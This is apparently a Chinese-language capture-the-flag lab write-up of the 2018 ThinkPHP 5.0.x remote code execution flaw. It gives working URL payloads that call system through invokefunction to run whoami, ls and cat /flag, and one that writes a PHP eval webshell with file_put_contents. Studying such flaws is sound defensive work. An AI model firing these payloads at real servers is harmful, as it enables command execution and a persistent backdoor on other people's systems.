漏洞简介
ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
漏洞描述
Thinphp团队在实现框架中的核心类Requests的method方法实现了表单请求类型伪装,默认为$_POST[‘_method’]
变量,却没有对$_POST[‘_method’]
属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。
影响范围
受影响版本:ThinkPHP 5.0.x
不受影响版本:ThinkPHP 5.0.24
漏洞复现
题目来源:starsnow靶场-TP5
本题版本为ThinkPHP V5.0.20
1.利用system函数远程命令执行
Payload: ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2.通过phpinfo函数写出phpinfo()的信息
Payload: ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3.查看目录结构,发现flag文件
Payload: ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
4.读取flag文件内容
Payload: ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
方法二:写入shell
Payload: ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&vars[1][1]=<?php eval($_REQUEST["a"]);?>
蚁剑连接,cat flag
参考文章:https://www.cnblogs.com/backlion/p/10106676.html